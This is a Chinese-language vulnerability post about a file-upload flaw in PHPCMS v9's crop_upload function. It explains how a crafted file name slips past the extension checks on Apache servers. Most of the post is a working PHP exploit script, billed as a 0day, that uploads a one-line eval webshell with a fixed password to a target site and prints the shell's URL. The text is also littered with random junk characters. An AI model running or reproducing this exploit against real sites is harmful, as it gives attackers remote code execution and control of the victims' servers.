漏洞类型: 文件上传导致任意代码执行
& X% T- E- r& `$ B
: y+ l# H6 q2 k S2 Z; i4 _7 r简要描述:
7 N2 m4 H" G4 t# w9 ]
6 b1 R* N$ W5 s$ i1 E/ J9 X0 Yphpcms v9 getshell (apache); m! u0 x4 {' ~" x& N( R! l
详细说明:
- A8 U. x- b7 A; Q" a+ M( Z3 H" K7 N- T. ^, q6 {% p
漏洞文件:phpcms\modules\attachment\attachments.php/ ]; R$ |4 k+ R. R! S' r# z
! O/ |& I/ x8 [8 D9 i# m/ ]public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
8 Q6 n- K+ F3 }" O9 n/ _后缀检测:phpcms\modules\attachment\functions\global.func.php2 m/ Q, P- K6 ?5 G: C
, l& m4 N% u( o2 t8 s# S : L: j2 @ U' k) K; b7 V g
g# m% S2 f0 K+ a" m8 n" P) ifunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } 3 w! [0 Y9 g4 e- _
% C) U* y5 s1 _4 G* u, S' B- c* z6 y
关键函数:
; H, U5 ]( O: A. H; Z7 q6 U; Y$ Z) |( P6 y$ Z' E6 w( x! x
' U/ D$ v% Z( l& V* X
- _ r" W* ~( Q2 H/ n5 U) k% K
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } / }+ f) b& K! O' O8 w9 a# Y. [
1 j4 H/ t/ }4 P# Y8 w+ v- z Fileext函数是对文件后缀名的提取。" h6 ^/ B. R8 H. T% `' E
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
5 E' m' ^$ g" ?$ `经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。0 i% l$ W& p' m9 o
我们回到public function crop_upload() 函数中
( o* R. @' _! \# kif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
+ |0 C0 w' t3 E; W3 A+ f在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数1 e) P' k" y8 L) u
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。9 D8 y9 A% x. Z" x' Y& x
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。4 F' h' ^6 _$ R7 e- U
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
# q" |9 X9 c$ ]; F& e看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。- d+ r8 Y" g! G" v/ ^" T5 n2 q
漏洞证明:
5 d* Y3 ?, E j, R0 D9 X
0 s, w0 b; B# e, fexp:! E) ~! C$ `! H- F* }" Q1 D
4 m3 p% G0 D: u6 z# i! x
<?php
' D# C# N" Z; C' W# Lerror_reporting(E_ERROR);# r, z* ~+ |3 h# [
set_time_limit(0);3 Y% P1 K' f. K
$pass="ln";
" J+ G3 o; l1 L' }5 V3 Eprint_r('! N# x3 u( h* B1 I" _( a( v
+---------------------------------------------------------------------------+
" m9 s. r: O, `& \, S, D# mPHPCms V9 GETSHELL 0DAY 3 p! c' O8 p! l% g
code by L.N.
* V7 ?3 W/ O( t# [- D% O. n
! B1 B6 d4 K* h/ R2 F/ Gapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net! L; A7 l: n, Q2 A4 K# W
+---------------------------------------------------------------------------+9 w9 e- F: t% h# ^ A* p1 j
');
- I! ~9 l) h V7 d% s) w3 [if ($argc < 2) {2 X1 G5 S8 h: }$ W' _
print_r('5 M( T3 `) s) @8 C
+---------------------------------------------------------------------------+
, o: a* T* @& vUsage: php '.$argv[0].' url path! c! E t2 z* I: ~: T4 d
7 ^- O( x, G o1 P1 x8 h
Example:
9 K+ ?% R3 s+ i4 v1.php '.$argv[0].' lanu.sinaapp.com a+ e5 m ?% Q- l( T
2.php '.$argv[0].' lanu.sinaapp.com /phpcms& P/ H; x1 Q$ w w/ s6 [, h
+---------------------------------------------------------------------------+
1 P, p/ e% j% i) L');
' t) `. F, Y, h' |7 _exit;- g7 {/ O0 X# H& {" W
}& h6 K! K0 r+ h" _1 t
& p/ j/ Q$ \. `# l$url = $argv[1];% ]8 w+ q, u1 }3 f
$path = $argv[2];
2 k3 t- I% x2 {& n( f$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
! o& t* A! T; o% m E9 x$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';; y; l: e5 ~4 m' q; L
if($ret=Create_dir($url,$path))
/ A' w h6 @* Z' y3 U1 B{
* E7 C0 J) G `: W2 P- }, T//echo $ret;
8 ?) v, c; k) `8 a$pattern = "|Server:[^,]+?|U";
& J. Z. l; j c7 p1 e3 Z4 m+ C zpreg_match_all($pattern, $ret, $matches);% P* n+ N+ v0 D! L" a9 Z5 [
if($matches[0][0])
1 V& i8 n! n; i3 N# [0 j! v{
) m- c: V* s* n! h G0 R) P R/ L5 Sif(strpos($matches[0][0],'Apache') == false)* z% c$ L6 Z0 e8 \) b/ u. p) v
{, X$ g0 n. H4 o/ ]
echo "\n亲!此网站不是apache的网站。\n";exit;( j+ g# I+ g3 S% G# q
}
! d. T X7 c8 [8 t& j5 X}
& u9 a0 d! @# X2 G, x- U4 l9 Y$ret = GetShell($url,$phpshell,$path,$file);0 N! F. z8 `& D& k$ W
$pattern = "|http:\/\/[^,]+?\.,?|U";
; l o7 Y8 T. Z$ Cpreg_match_all($pattern, $ret, $matches);
# ]. M: x- i2 N: R0 @$ Q, O5 a9 Wif($matches[0][0])
- }$ L& _1 f% P* m{" ^' }' X7 s/ R; d8 v4 C% O
echo "\n".'密码为: '.$pass."\n";
( ]) s. }1 B3 {9 m* ^$ |echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;% P" l9 ?* y( j# e n
}
4 R: b& n" e6 N( O! ?8 \( Jelse+ Z! x6 A$ }& o8 _! x8 q0 Q( Z
{! ?9 |, R0 R3 _1 Q
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";$ b8 X, [" T R3 z, G; ~
preg_match_all($pattern, $ret, $matches);8 U4 {0 b2 g% N0 M8 m4 V% w( G
if($matches[0][0])
% q; u! k$ t# A/ P1 l{+ M9 ~0 U3 M. X; h) w% k
echo "\n".'密码为: '.$pass."\n";. B% V+ F7 O1 N8 y3 ?
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
/ n& X, [8 r# [5 q7 v M% s; @}
7 v! h) N6 X$ R. N5 |else
: t6 u' w0 J' t% B0 ?2 W8 M{
* M# b1 m6 E$ M, U. fecho "\r\n没得到!\n";exit;$ e4 s c u8 O9 O
}; V1 r$ q: g% h% t* R: f1 C2 w
}
2 j4 k+ j$ c% C5 B9 K7 R}; T# _, i" |$ Z( C* V, n: F( Y
( m! K5 G" \2 Q+ ~4 J
function GetShell($url,$shell,$path,$js)
3 z- M! ]( h9 ^; U{+ T+ q+ j% U( @0 b7 q' \3 z0 G3 E
$content =$shell;6 r+ K7 N. z. m1 S! A: f9 \
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";. B; l; D7 D( z2 ?8 x5 m% t
$data .= "Host: ".$url."\r\n";
0 k$ R' x- a# A5 N n! g; u$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";9 `; x' P" Z, m2 p) ]5 I
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
( ^7 @5 ?* ^7 q9 D8 x9 b5 s$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
# f3 S/ L) W1 t$data .= "Connection: close\r\n";2 ^: s% c* B1 B8 e
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";+ Z( Y. u% Q! x5 I3 N0 _; {
$data .= $content."\r\n";: q0 V7 a- d" o/ X3 ~. h! ]7 p
$ock=fsockopen($url,80);( M7 [" a4 ~( K
if (!$ock)7 |" ]1 p5 ]+ \5 ]3 E
{9 K. d- T% @: G3 S# c. l' O
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
- c( g+ N h: ~! Z5 R: S$ }}/ \' g$ x' K( \' C5 g. Z
else7 l i* q) d9 z5 c+ m
{
1 Z# N2 l) I: X* P7 N9 Tfwrite($ock,$data);9 W6 M, z1 f Q! h
$resp = '';+ u' M* T3 @& t: W/ s, c2 u
while (!feof($ock)); F8 p, |5 \8 }8 M
{( A: `1 ~( T- c9 c, P
$resp.=fread($ock, 1024);
$ f' q/ ] n$ F}/ o" Z# U) c! `/ c O
return $resp;+ Q9 W. k! W9 N/ N8 R6 D
}; P9 u$ B2 o [- M+ V
}
g6 |0 e. Z1 ]" I7 D9 |% X& S5 L V+ p* s' K6 p; \8 {
function Create_dir($url,$path='')
M" l7 ~6 |! H{
+ {2 G( t( y: f' A7 A9 U" J0 _$content ='I love you';& |7 z. E. X! ]; K* I5 a
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";( @( a$ H% _8 s" e# M+ j
$data .= "Host: ".$url."\r\n";3 r- N4 E8 A3 w5 d+ Y, b
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
" T( e6 F' o/ z& `$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
/ K1 ^# e+ K+ v6 i0 |$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";% s9 U, P, k m9 Q/ [
$data .= "Connection: close\r\n";
/ f) R" W* [8 D- i$data .= "Content-Length: ".strlen($content)."\r\n\r\n";& g8 t/ A0 c) }& b* Q$ }; U
$data .= $content."\r\n";
9 u8 D5 l. G0 n* S, K9 L% k% h$ock=fsockopen($url,80);. ~+ q8 \" B1 U: c* ]' S/ k
if (!$ock)/ v6 o) c: U" w0 S6 z$ ?
{
^2 ?" n; r% Uecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
/ n# ~1 S) t' z1 r}
9 y ~3 H1 Y* P2 {, tfwrite($ock,$data); l5 M& k" j1 D" ?
$resp = '';
' N3 T+ G. O3 Q- D5 kwhile (!feof($ock))
) s3 j8 }( k' @$ m$ _0 l. Y9 s/ N{$ Z, ~3 F2 p$ T5 m0 C# [# D
$resp.=fread($ock, 1024);
; H$ T* }& X6 n# L2 Q9 s, l}
0 K/ g3 O% I' Q4 Ureturn $resp;
! [% Y0 x# C$ G2 F. o7 V" h9 V}
5 I$ ^5 V5 Z* B$ ?0 w?> 0 z4 a! P, L, S' R+ _
" r4 y' G( s8 y1 h5 ~, g0 B
修复方案:* M; D4 n5 R- I/ L
( a3 {; v4 U z
过滤过滤再过滤
5 c3 C4 z1 M {0 u2 j& ]. \
2 @/ W0 z" F; V1 l! |4 a |